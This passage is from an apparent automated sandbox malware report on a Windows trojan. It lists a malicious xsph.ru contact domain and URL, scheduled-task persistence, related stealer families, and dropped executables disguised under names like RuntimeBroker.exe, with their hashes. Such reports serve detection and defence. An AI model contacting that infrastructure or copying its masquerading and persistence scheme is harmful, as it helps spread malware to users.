http://a1000454.xsph.ru	100%	Avira URL Cloud	malware
https://index.from.sh/pages/game.html	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/openU	0%	Avira URL Cloud	safe
http://a1000454.xsph.ru/	100%	Avira URL Cloud	malware
https://cp.sprinthost.ru/auth/login	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/	0%	Avira URL Cloud	safe
https://cp.sprinthost.ru	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a1000454.xsph.ru	141.8.192.58	true	true		unknown
56.126.166.20.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a1000454.xsph.ru/@==gbJBzYuFDT	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cp.sprinthost.ru	Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a1000454.xsph.ru	Idle.exe, 00000025.00000002.2205565303.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://index.from.sh/pages/game.html	Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a1000454.xsph.ru/	Idle.exe, 00000025.00000002.2205565303.0000000002C59000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.enigmaprotector.com/	jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hyperIntoruntime.exe, 00000005.00000002.2177868968.0000000003695000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cp.sprinthost.ru/auth/login	Idle.exe, 00000025.00000002.2205565303.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2205565303.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/openU	jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.8.192.58	a1000454.xsph.ru	Russian Federation		35278	SPRINTHOSTRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467270
Start date and time:	2024-07-03 23:51:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	jx2eCe6ymR.exe renamed because original name is a hash value
Original Sample Name:	22acd327c5273659a31e56d94cefed20.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@47/34@2/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Idle.exe, PID 5268 because it is empty
Execution Graph export aborted for target Idle.exe, PID 6412 because it is empty
Execution Graph export aborted for target hyperIntoruntime.exe, PID 1364 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: jx2eCe6ymR.exe

Simulations

Behavior and APIs

Time	Type	Description
17:52:04	API Interceptor	5x Sleep call for process: Idle.exe modified
23:52:02	Task Scheduler	Run new task: Idle path: "C:\providerReviewperfsvc\Idle.exe"
23:52:02	Task Scheduler	Run new task: IdleI path: "C:\providerReviewperfsvc\Idle.exe"
23:52:02	Task Scheduler	Run new task: nEuTyBtWAvjkYQrIMhtZWE path: "C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe"
23:52:02	Task Scheduler	Run new task: nEuTyBtWAvjkYQrIMhtZWEn path: "C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe"
23:52:02	Task Scheduler	Run new task: RuntimeBroker path: "C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe"
23:52:02	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe"
23:52:05	Task Scheduler	Run new task: backgroundTaskHost path: "C:\Windows\twain_32\backgroundTaskHost.exe"
23:52:05	Task Scheduler	Run new task: backgroundTaskHostb path: "C:\Windows\twain_32\backgroundTaskHost.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.8.192.58	wins9c8hG6.exe	Get hash	malicious	Raccoon Stealer v2, Xmrig	Browse	a0691150.xsph.ru/chik.exe
	Ad5lUckxWr.exe	Get hash	malicious	RedLine	Browse	a0678230.xsph.ru/MainModule.exe
	DmpOiwahZV.exe	Get hash	malicious	RedLine Xmrig	Browse	a0620531.xsph.ru/RMR.exe
	dvrz5zV1ZT.exe	Get hash	malicious	RedLine SmokeLoader Tofsee Vidar	Browse	a0620531.xsph.ru/RMR.exe
	5ubL3m46Jq.exe	Get hash	malicious	Raccoon RedLine SmokeLoader Tofsee Vidar	Browse	a0620531.xsph.ru/RMR.exe
	VaB15i6xjQ.exe	Get hash	malicious	RedLine Xmrig	Browse	a0617224.xsph.ru/RMR.exe
	DHL express 5809439160_pdf.exe	Get hash	malicious	FormBook	Browse	www.davidkauffmann.com/asva/?Qtxd6ZJ0=8beXnS0OqE7o0o9adMk8ZlbkKjaEPaABoPQ4yhnLq4+NucVyh+UNv9Bze421rYk5tjo+&tTPL=8ph4
	Kilorum.exe	Get hash	malicious	BitCoin Miner RedLine	Browse	a0572281.xsph.ru/kkk.exe
	rXGiMzryGr.exe	Get hash	malicious	RedLine	Browse	a0570895.xsph.ru/rnd.exe
	Q0MGCbMD0O.exe	Get hash	malicious	RedLine	Browse	a0570895.xsph.ru/rnd.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPRINTHOSTRU	5GOuTtZoQn.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.194.149
	SecuriteInfo.com.W32.Trojan.FWF.gen.Eldorado.15788.4670.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.194.149
	JuHVfiAuLo.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	LXbM8RbhLa.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	EiPVv5yELP.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	6IMo1kM9CC.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	file.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	SecuriteInfo.com.W32.Trojan.FWF.gen.Eldorado.2850.19434.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	37e6e5d8b399fefb9ae774516ff6367e800c69a272e18a654bb84ccff2d7c67a_dump.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126
	OBbrO5rwew.exe	Get hash	malicious	LummaC, Poverty Stealer, SmokeLoader	Browse	141.8.192.126

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (537), with no line terminators
Category:	dropped
Size (bytes):	537
Entropy (8bit):	5.903875053836391
Encrypted:	false
SSDEEP:	12:4XrS2CHHYcofXJx4RZmHj1lwv32JMSO2LRPFTRGoZf/c:mrmniXzWEHhlwv32qSO2VPWOc
MD5:	4699E4ECE9B90D1583F641DFCA21537F
SHA1:	60D0FC4272D826AC869B9D6726026B2ECD5660D7
SHA-256:	C3CA0DD648B45E24948714F10FEF20A36C41AEBDA309F11E72865225B240FECE
SHA-512:	BD56934B9DB66C2D4285B0AF397BF0923410D4EB62618F7EBB7CBEBBF1A4406034A79CBE68CAF52811D7F8C764FE0FFADBA070A5A2C4F5BF76FFFAE7369EB4B4
Malicious:	false
Preview:	wyoDY4Mymuktht5IjYgzrA51heNpUvraDFrRXZbI8hizGvOhBDDubGzw2wg4qge0CKqbBovK7X1JbGvvPqoRs786P5Yk3hccDrw6FwgXR3xDPqUvBuo92NIELtMGPKQZ5YFuUzqdJR9zK4rjkmiJ3ck0jruVkaHHmXI0kkbMDKzkNS4QCnfnlHgcyPKmEU3tJ2Nxv08AKWFsm9mQxdT74efe1qBVZyIsRGaVFHeLoecPByzzn4zkB5ypXs6FynlWOWagiQLq8ISaBPdC1Mre8hrWRv8XLZWB3GApXSRWtJl2nYnHP3Nm5GXroEPwSyfjvRh5Oypi4Vvz5ys2H1HRLtFwtTATCeE5oCHV0s2bOprkUhv0VWpaqNXBMvM4xVgaQ0K3rXCZ9qDgBfbLiK8pznPboFJFg7n2IRTeX1I7UQb9J1AqTAWnX0lmlsOmO63BDLXuL7yqBAViMPSxFcwfl9fSqq2ongtYXZ57dPfVMpmXeCaVabgwJXaEqEDfEJDfQ7LwUUTz6aS5WHxoQhNL97O99

C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	125
Entropy (8bit):	5.508751113706426
Encrypted:	false
SSDEEP:	3:a1UfR/cPktF5YBsWtUGfKfMJefXqVxoUUL1GSA/uPxSsD17nXIc+n:JfCMi548ewxo/L1FwVc+
MD5:	F26B6363D598D78CA278F5D18025A628
SHA1:	00D680DFF00C4FADD3C34DD6885AE861A79F2E82
SHA-256:	0DA03AA8DB8C305138A03009BF69C174876E737C676E8FEA6F8D1BDA73BD5235
SHA-512:	987F6A175450A21EC33C4A78BEBB54094832C79C153CDD019AFEF428A2FBFBE51ABC69171E6ABF109775CAE6478D845234D4C1B95D90025B319C47E036A834C7
Malicious:	false
Preview:	Gh0nBFHqztFfriRZOh51fTsMxcD5n6JPTPBPxmfHESHe4dJsHwvtHumwzoziCMD2kzLbgBlmCxxMLNSTTUx1LZIjnPaJw6F2PP4ESsMGKJrT7ZklVfPsYMqLrmyRk

C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (418), with no line terminators
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.845810903178142
Encrypted:	false
SSDEEP:	12:mZ2RSmSkDxSas2DuDFMlQALyBpxS72BpCib:moA/kDMXquDFYOK72PCW
MD5:	5CC22517C66A5AFB2D5058C87F7745A1
SHA1:	E5BDB8235255D33866B5C3F0B1AEB2DDB4A52820
SHA-256:	3BB5D141A7745F73BBB01C976B2E41083FA1D812F91F2C1D6BCA402A688C3696
SHA-512:	DB916B5C71092F3D7729E67158ED1F8562B8CCA30091BA57ABD33087B77D16DE8D667DE6F487C6B3614ABB1583BB87ABF19BFD68CCE56462707230787145A18F
Malicious:	false
Preview:	7tYQ2smI5IMf44hNM7QoJiHUGIz5k82ANlhTmQftzOkcAF6fgw8F39PZmDJt2ri7PMSTXOl5cgy57oTAMTYx9wGNVHriGv1IpnNxwmISKCnXLTb7tJhjSu7cGF7PgCyqppPUbfOjLGm7JtBBquy7OR05qurro2vIN6rfDGfO47XLH9SXD6jwO1bXzUoryg4TUeuMBf7jOkCR4oxqbTnsT94WfTqtcyZYCE0nPFVi89hnyKdLg8Pf3L9VkXrszOHaLoO0xKbV7FuTbQhUzfMdi4e1EfC1Ynst2HbJ6nXWg3hyap3T0X2UCn1RKXvSHj7UWBbUyYXMH06oWpaYltBAuYrOPK9j2FO76McZOieb9qNLqN4e7WqXi7k7UMFoYyUBl9sJNAKDPjADLfiCPemfZ0Z9meFBd0CLWL

C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Photo Viewer\en-GB\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	5.143289445392768
Encrypted:	false
SSDEEP:	3:wysTOAmNgaXGrnTTTnq3XAP7wmhdV:EiAmNgaXsgiMmhX
MD5:	DA11062337C57292168B117976F94EDB
SHA1:	2FB1506D61ED71DD9A35A18B7B048D32CC6C8D40
SHA-256:	EBAF6F59EF8C10BC6AE7F9259EADE1BCABB925B612A57BDA33DF83B792CFF5A7
SHA-512:	1FE3A107D49C6C545726900F3CBFF0CC12CD57BD95E7B5E43B101065C3134489FF489E2643C78F028EEFA14921BAF5CCB76E1A636DC4E8A99C5825D4860A4A45
Malicious:	false
Preview:	pa1qKhTI1a4Kd3bChLkcFrrA1nTHBcTHHDNvv6pMAmrR5BvJNGLj3288s1ygNMHZGxDZpp

C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\USOShared\9e8d7a4ca61bd9

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (399), with no line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	5.848544821681444
Encrypted:	false
SSDEEP:	12:Lo4GP2MFDIXIKrgfhY+UNQtwpb9o1Ud5cOG:tGP2M1kMO+0Qthy5pG
MD5:	8F86C67BDF5F21246F489D3EDE537568
SHA1:	FE363A920DBBC7A006CFF7B102771ED297F3BA2F
SHA-256:	DA3E9D6E14A4D2369EE22CACD127624E0E4AC4D1D3D4BF9E0ACB0BD2CF9D92AF
SHA-512:	3963B95B1C8F475A28C92E7E40F8E89750AE4B7C45F750D8F18328B06313748A0BD2FE021177EF8A0936E02575AA88A73DD20C637DDEE997FDDE4CD7EA5D262A
Malicious:	false
Preview:	eAuYM64l5Npznc0EozqTGyhDZcVUZmU6dPzGrVWFrGRGF4NIPsHhalSpdq8tljLT2tVYmtWTdll9ha7ePMFrewf27JnBWmeI58OWjzggWyEyASICteeYeeyFNdacFV60HdEiMl5ZqjUqsr2oBkS2IFnaKIIFYDaB1NrgNjzHiEr5JHXgkwbfDEsBznYEczBmITye9VabuKTDXsRCvmfmm57xfqrkKvpsCFwzT2gPV9u2uonGWWTzUZANWA9Tn0Q9flAS6bs2FPQmKEC0CkNyczXnEidS3NlesvXJoVK5natFIYCR7IRCncgpNXOX7Z82nw3Zr3LraSKCFSeqfMUv5i1QOr6RGw7Nc1bWemjE6kmVRek42i1vFN6F4nL974knU6jO1HL3mQyV6g8

C:\ProgramData\USOShared\RuntimeBroker.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (998), with no line terminators
Category:	dropped
Size (bytes):	998
Entropy (8bit):	5.912466407649822
Encrypted:	false
SSDEEP:	24:SUfE9qIsNATKR4gswOZIlqYcfVVlxNKp6VhgHv2lNMY:Nr/NlBqZIlqYcf/lxNFVhgP2l+Y
MD5:	C069F2F8695972BFB52137A67E1A636F
SHA1:	7D6F2BD8193D77E0912774293E01BC8EFE5252F0
SHA-256:	E17F107D828FD757126FDB8AB69D408F1E7253C0D099D1816F9EEA1D2971D0C8
SHA-512:	79441B9504C387B9AE981A396AC92F995654A2339B46499BB0BA03E4F5232992AAAC2E42A1F1FA515959B3730875B6EC2AA36EA559FBC18CCF870C178B3D83B5
Malicious:	false
Preview:	YVM8UnIm1eHrOa2HoE2YF8qiG8gIR1pS0j0WrLWlmPTOR5C00G9bh54Zpn1VH9V9yy0pjfadrRw0pbQL6pSL2Nv5paqDTBem4UadEWQUqfuPIDuNWqZbrJGkD5AIyWJqxJ5VBxGkY7eWdfwlqcrnmC5uNzZJVHfTWEc9IZMijyCtpuHiIZcVofDvNKHLY7OQbKAZDxcRQJDx9MFds1A6pJp0Arv7RBKmkvRetrfV6KFfbQvBEodh6RlSfJZVBfAP8bMO4ltBWp9fEJZt6t2mhnpSK98jSJTbJ0gADgHd5cLRSFNWupZSmYrVv4D4nJsMViWNmYpZlZqFbYAFvmzmtAyvJKOJdM0wt85ttAtVAAqNrl4X48JAUGdUtkEcKg6Zi4WddQVv2dlsUlDhQ1PeDzcmek9I5QLdERoxPa3nmXH0evAIhgLSRbVtcu92RNzmRIoD7QS07m2qrlHtk1lYF3Mn54UfaBVZifiWG7KQOVUojpC0mQSZmagY5AHC5xa6QcHLCummqUKuihDQ2d2Ks5wH9KbG0IUb5YYGh0x2optRQw0X70Kb4PNUpAM2Tgwi9szJJ7sBpAgCMf0MTDI973gpLDaho5iH3LSh7qO9IIv4tKIKJ9iQXxkGLJ8FgLXubYJAMTOnyJ1yHm5A4PXoWSuGkLVxsId6vBcVBH70v5bO5v9jO7KQysXJnCZB7b5qp4CFJk9xSg3b1gKzMwju8MIDnTr8r63UAviBs3Zn7X8Rz6RH2kyL1Ksdw9c02BFVnjbG8JGSW5xkO1NrBkGHIsc0DEPsbjv5SnnQeLJsdgy5WHP5wuyS57N5GlD34X1xK1SlN7N0aXnm3gd5zT6rucAUZrJ3IQyFoBvezoryh82hUlBjHHDkbKCs17LfyTrKjh72v9FLmHJvkdAypjvBMOoe8Cn2cLANRr8woJxIB18TAQHX7WzOhq7U3c3tVNsaH5e2eNKgvn9VQUer4P4GWwqltn3LPExxIhLEwP

C:\Recovery\9e8d7a4ca61bd9

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (529), with no line terminators
Category:	dropped
Size (bytes):	529
Entropy (8bit):	5.881273071068507
Encrypted:	false
SSDEEP:	12:YqDM1t8AWDNkHk88iXRMWwsYeI91kTc7JUF5Nhf:YYM1CLNkE8PmszIcoJUL
MD5:	1104B46E09F5EEDF1C5770ED9382B3A1
SHA1:	FF36BD4FE4B2940A583A4819BF60FD73CD7D888F
SHA-256:	5EEFF2C60669AB9DFAD787F79E78587F26C1B210F9917124B1938A4A773CCEA3
SHA-512:	2E03B5C1D61ECCA77586730807394FFB1513F3FB78B4AB6535B564F16D003AAB2B4C741948864B24B9B1E6FE77F972F44329EBD2017AB5408E1F04D8EE28FCC8
Malicious:	false
Preview:	6Hk4rtcuVIU87VamEnAIiHXilRPliBibWCzpZsPUMj3g0z5T9lRAHH8ztBSZd0LUj2l5guNWYp68O1swV6l7thUODA6Xa00VYj67OAxOX5mcL9k1SgDhPNkCiW1gyz5hykjp5viUJWky42DEZEF4wTGK94Y1JQah9EnkZ56g8tY2nvHqSxGuuBvfeYqAXqK26CyzOcodHi6D4OhNxriWKpx8TIGAP5JRig5l7Rc0ImmLFrkQ1cNpHysRP0gFWnOLYofYT5QfPsNhDl3li0JwseJtxoWHvWdfYaxaML76MrZZkKNn64hgdbd4fvkojIu2PrJnycZW2NjBEuJnasK0z6B6725bkSWD6hK2BkzefKnQ2bzum7O184DSpMp5h7vk0gFhjQlz3qVoTuEfCKznDfFCd2My436hZCaWVSLVVY7SiZ94IJ2XIIhVbDErDx49txPQUsJu9dRohwdD2RpuBjYQfE4SOdRid8ivKska9IXp02xokAyvHJ8KZ8uPx1fgLtKjOs3KrOv2LsZnQ

C:\Recovery\RuntimeBroker.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
